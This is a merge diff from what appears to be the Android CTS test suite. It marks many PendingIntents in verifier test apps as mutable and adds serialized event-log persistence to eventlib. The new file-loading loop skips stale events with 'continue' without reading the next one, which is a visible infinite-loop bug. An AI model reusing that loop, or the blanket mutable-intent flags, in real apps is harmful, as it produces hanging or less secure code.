Merge "Test DPC on BYOD cannot read hardware identifiers"
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
self._hidden_physical_id, self._camera_id)
assert self._hidden_physical_id in physical_ids, e_msg
props = self.get_camera_properties_by_id(self._hidden_physical_id)
+ self.props = props
return props
def get_camera_properties(self):
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
import numpy as np
JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
- [255, 235]]
+ [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
JPEG_DHT_MARKER = [255, 196] # JPEG Define Huffman Table
JPEG_DQT_MARKER = [255, 219] # JPEG Define Quantization Table
JPEG_DQT_TOL = 0.8 # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
"\nThe scene setup should be: " + scene_desc )
# Converge 3A prior to capture.
props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
lock_awb=its.caps.awb_lock(props))
req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
UsbDevice theDevice = (UsbDevice) devices[0];
PendingIntent permissionIntent =
- PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+ PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
ConnectDeviceBroadcastReceiver usbReceiver =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
+import android.content.res.Resources;
import android.hardware.biometrics.BiometricManager;
import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
}
static boolean deviceConfigContains(Context context, int authenticator) {
- final String config[] = context.getResources()
- .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+ final Resources res = context.getResources();
+ final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+ final String config[] = res.getStringArray(resId);
for (String s : config) {
Log.d(TAG, s);
final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
.setPackage(getPackageName())
.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
- reportTaskRemovedIntent, 0);
+ reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
.setPackage(getPackageName())
.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
- final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+ final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent testActivity = new Intent()
.setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..33112e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -528,14 +528,14 @@
session.fsync(out);
in.close();
out.close();
- session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+ session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
.getIntentSender());
}
private void uninstallHelperPackage() {
try {
getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
- PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
+ PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
.getIntentSender());
} catch (IllegalArgumentException e) {
// The package is not installed: that's fine
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
mNfcAdapter = nfcManager.getDefaultAdapter();
mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+ .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
mNfcAdapter = nfcManager.getDefaultAdapter();
mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+ .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
goToWriteStep();
} else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
index 409dcd9..ea48cce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -59,7 +59,7 @@
Intent intent = new Intent(ACTION);
intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 2d41e57..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
private Notification.BubbleMetadata.Builder getIntentBubble() {
Context context = getApplicationContext();
Intent intent = new Intent(context, BubbleActivity.class);
- final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(pendingIntent,
Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
@NonNull CharSequence content) {
Context context = getApplicationContext();
Intent intent = new Intent(context, BubbleActivity.class);
- final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Person person = new Person.Builder()
.setName("bubblebot")
.build();
RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
- new Intent(), 0);
+ new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
inputIntent).addRemoteInput(remoteInput)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 0c7077e..21fcb84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -415,7 +415,7 @@
Intent intent = new Intent(tag);
intent.setComponent(new ComponentName(mContext, DismissService.class));
PendingIntent pi = PendingIntent.getService(mContext, code, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
@@ -423,7 +423,7 @@
Intent intent = new Intent(tag);
intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pi;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
0,
new Intent(activity, TimeoutResetActivity.class)
.putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
- 0));
+ PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
});
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
new IntentFilter(ACTION_ALARM));
Intent intent = new Intent(this, AlarmReceiver.class);
- mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
new IntentFilter(ACTION_ALARM));
Intent intent = new Intent(this, AlarmReceiver.class);
- mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
mScreenManipulator = new SensorTestScreenManipulator(this);
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
Intent intent = new Intent(this, AlarmReceiver.class);
- PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
mUsbManager.requestPermission(device,
PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
- new Intent(ACTION_USB_PERMISSION), 0));
+ new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
case ACTION_USB_PERMISSION:
boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
mUsbManager.requestPermission(device,
PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
- new Intent(ACTION_USB_PERMISSION), 0));
+ new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
mUsbManager.requestPermission(
mUsbDevice,
PendingIntent.getBroadcast(
- MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+ MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
latch.await();
assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent fail = new Intent(context, WidgetCtsProvider.class);
fail.setAction(WidgetCtsProvider.FAIL);
fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
.setClass(context, AlarmReceiver.class)
.putExtra(EXTRA_ON_ALARM, onAlarm);
return PendingIntent.getBroadcast(context, 0, alarmIntent,
- PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
}
}
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
new Intent(ACTION_INLINE_REPLY)
.setComponent(new ComponentName(context, NotificationBot.class))
.putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
final RemoteInput ri = new RemoteInput.Builder("result")
.setLabel("Type something here and press send button").build();
diff --git a/common/device-side/eventlib/Android.bp b/common/device-side/eventlib/Android.bp
index f2d800d..a4b6fc9 100644
--- a/common/device-side/eventlib/Android.bp
+++ b/common/device-side/eventlib/Android.bp
@@ -8,6 +8,7 @@
static_libs: [
"androidx.test.ext.junit"],
manifest: "src/main/AndroidManifest.xml",
+ min_sdk_version: "26"
}
android_test {
@@ -23,8 +24,11 @@
"androidx.test.ext.junit",
"ctstestrunner-axt",
"truth-prebuilt",
- "testng" // for assertThrows
+ "testng", // for assertThrows
+ "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+ "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
],
data: [":EventLibTestApp"],
manifest: "src/test/AndroidManifest.xml",
+ min_sdk_version: "26"
}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/main/AndroidManifest.xml
index 269d3de..19ce3fa 100644
--- a/common/device-side/eventlib/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/main/AndroidManifest.xml
@@ -18,6 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.eventlib">
+ <uses-sdk android:minSdkVersion="26" />
<application>
<service android:name="com.android.eventlib.QueryService" android:exported="true"/>
</application>
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
index 8c779be..40afafb 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -16,6 +16,12 @@
package com.android.eventlib;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.time.Instant;
@@ -38,4 +44,33 @@
public Instant timestamp() {
return mTimestamp;
}
+
+ /**
+ * Serialize the {@link Event} to a byte array.
+ *
+ * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+ */
+ byte[] toBytes() throws IOException {
+ try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream out = new ObjectOutputStream(bos)) {
+ out.writeObject(this);
+ out.flush();
+ return bos.toByteArray();
+ }
+ }
+
+ /**
+ * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+ */
+ static Event fromBytes(byte[] bytes) throws IOException {
+ try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+ ObjectInput in = new ObjectInputStream(bis)) {
+ try {
+ return (Event) in.readObject();
+ } catch (ClassNotFoundException e) {
+ throw new IllegalStateException(
+ "Trying to read Event which is not on classpath", e);
+ }
+ }
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
index f94dd9b..2caade2 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -50,6 +50,6 @@
mEvent.mPackageName = mContext.getPackageName();
mEvent.mTimestamp = Instant.now();
- Events.EVENTS.log(mEvent);
+ Events.getInstance(mContext).log(mEvent);
}
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index 17583c1..26775dc 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -16,6 +16,8 @@
package com.android.eventlib;
+import android.os.UserHandle;
+
import java.util.HashSet;
import java.util.Set;
import java.util.function.Function;
@@ -44,6 +46,7 @@
private final Class<E> mEventClass;
private final String mPackageName;
private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+ private transient UserHandle mUserHandle = null; // null is default, meaning current user
protected EventLogsQuery(Class<E> eventClass, String packageName) {
if (eventClass == null || packageName == null) {
@@ -70,6 +73,7 @@
return mQuerier;
}
+ /** Apply a lambda filter to the results. */
public F filter(Function<E, Boolean> filter) {
filters.add(filter);
return (F) this;
@@ -92,4 +96,17 @@
/** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
protected abstract boolean filter(E event);
+
+ /** Query a package running on another user. */
+ public F onUser(UserHandle userHandle) {
+ if (userHandle == null) {
+ throw new NullPointerException();
+ }
+ mUserHandle = userHandle;
+ return (F) this;
+ }
+
+ UserHandle getUserHandle() {
+ return mUserHandle;
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
index 12dc032..38c1543 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -16,8 +16,16 @@
package com.android.eventlib;
+import android.content.Context;
import android.util.Log;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@@ -28,16 +36,86 @@
class Events {
private static final String TAG = "Events";
+ private static final String EVENT_LOG_FILE_NAME = "Events";
+ private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+ private static final int BYTES_PER_INT = 4;
/** Interface used to be informed when new events are logged. */
interface EventListener {
void onNewEvent(Event e);
}
- public static final Events EVENTS = new Events();
+ private static Events mInstance;
- private Events() {
+ static Events getInstance(Context context) {
+ if (mInstance == null) {
+ synchronized (Events.class) {
+ if (mInstance == null) {
+ mInstance = new Events(context.getApplicationContext());
+ mInstance.initialiseFiles();
+ }
+ }
+ }
+ return mInstance;
+ }
+ private final Context mContext; // ApplicationContext
+ private FileOutputStream mOutputStream;
+
+ private Events(Context context) {
+ this.mContext = context;
+ }
+
+ private void initialiseFiles() {
+ loadEventsFromFile();
+ try {
+ mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+ // We clear the file and write the logs again so we can exclude old logs
+ // This avoids the file growing without limit
+ writeAllEventsToFile();
+ } catch (FileNotFoundException e) {
+ throw new IllegalStateException("Could not write event log", e);
+ }
+ }
+
+ private void loadEventsFromFile() {
+ Instant now = Instant.now();
+ try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+ Event event = readEvent(fileInputStream);
+
+ while (event != null) {
+ if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+ continue;
+ }
+ mEventList.add(event);
+ event = readEvent(fileInputStream);
+ }
+ } catch (FileNotFoundException e) {
+ // Ignore this exception as if there's no file there's nothing to load
+ } catch (IOException e) {
+ Log.e(TAG, "Error when loading events from file", e);
+ }
+ }
+
+ private void writeAllEventsToFile() {
+ for (Event event : mEventList) {
+ writeEventToFile(event);
+ }
+ }
+
+ private Event readEvent(FileInputStream fileInputStream) throws IOException {
+ if (fileInputStream.available() < BYTES_PER_INT) {
+ return null;
+ }
+ byte[] sizeBytes = new byte[BYTES_PER_INT];
+ fileInputStream.read(sizeBytes);
+
+ int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+ byte[] eventBytes = new byte[size];
+ fileInputStream.read(eventBytes);
+
+ return Event.fromBytes(eventBytes);
}
/** Saves the event so it can be queried. */
@@ -45,8 +123,19 @@
Log.d(TAG, event.toString());
mEventList.add(event); // TODO: This should be made immutable before adding
+ writeEventToFile(event);
triggerEventListeners(event);
- // TODO: Serialize in case the process crashes
+ }
+
+ private void writeEventToFile(Event event) {
+ try {
+ byte[] eventBytes = event.toBytes();
+ mOutputStream.write(
+ ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+ mOutputStream.write(eventBytes);
+ } catch (IOException e) {
+ throw new IllegalStateException("Error writing event to log", e);
+ }
}
private final List<Event> mEventList = new ArrayList<>();
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index 04439cd..ff46782 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -16,6 +16,8 @@
package com.android.eventlib;
+import android.content.Context;
+
import java.time.Duration;
import java.time.Instant;
import java.util.concurrent.BlockingDeque;
@@ -28,19 +30,21 @@
*/
public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
private final EventLogsQuery<E, F> mEventLogsQuery;
- private final BlockingDeque<Event> mEvents;
+ private final Events mEvents;
+ private final BlockingDeque<Event> mFetchedEvents;
private int skippedGet = 0;
- LocalEventQuerier(EventLogsQuery<E, F> eventLogsQuery) {
+ LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
mEventLogsQuery = eventLogsQuery;
- mEvents = new LinkedBlockingDeque<>(Events.EVENTS.getEvents());
- Events.EVENTS.registerEventListener(this);
+ mEvents = Events.getInstance(context);
+ mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+ mEvents.registerEventListener(this);
}
@Override
public E get(Instant earliestLogTime) {
int skipped = 0;
- for (Event event : Events.EVENTS.getEvents()) {
+ for (Event event : mEvents.getEvents()) {
if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
@@ -70,8 +74,8 @@
@Override
public E next(Instant earliestLogTime) {
- while (!mEvents.isEmpty()) {
- Event event = mEvents.removeFirst();
+ while (!mFetchedEvents.isEmpty()) {
+ Event event = mFetchedEvents.removeFirst();
if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
@@ -94,7 +98,7 @@
Event event = null;
try {
Duration remainingTimeout = Duration.between(Instant.now(), endTime);
- event = mEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+ event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
} catch (InterruptedException e) {
return null;
}
@@ -119,6 +123,6 @@
@Override
public void onNewEvent(Event event) {
- mEvents.addLast(event);
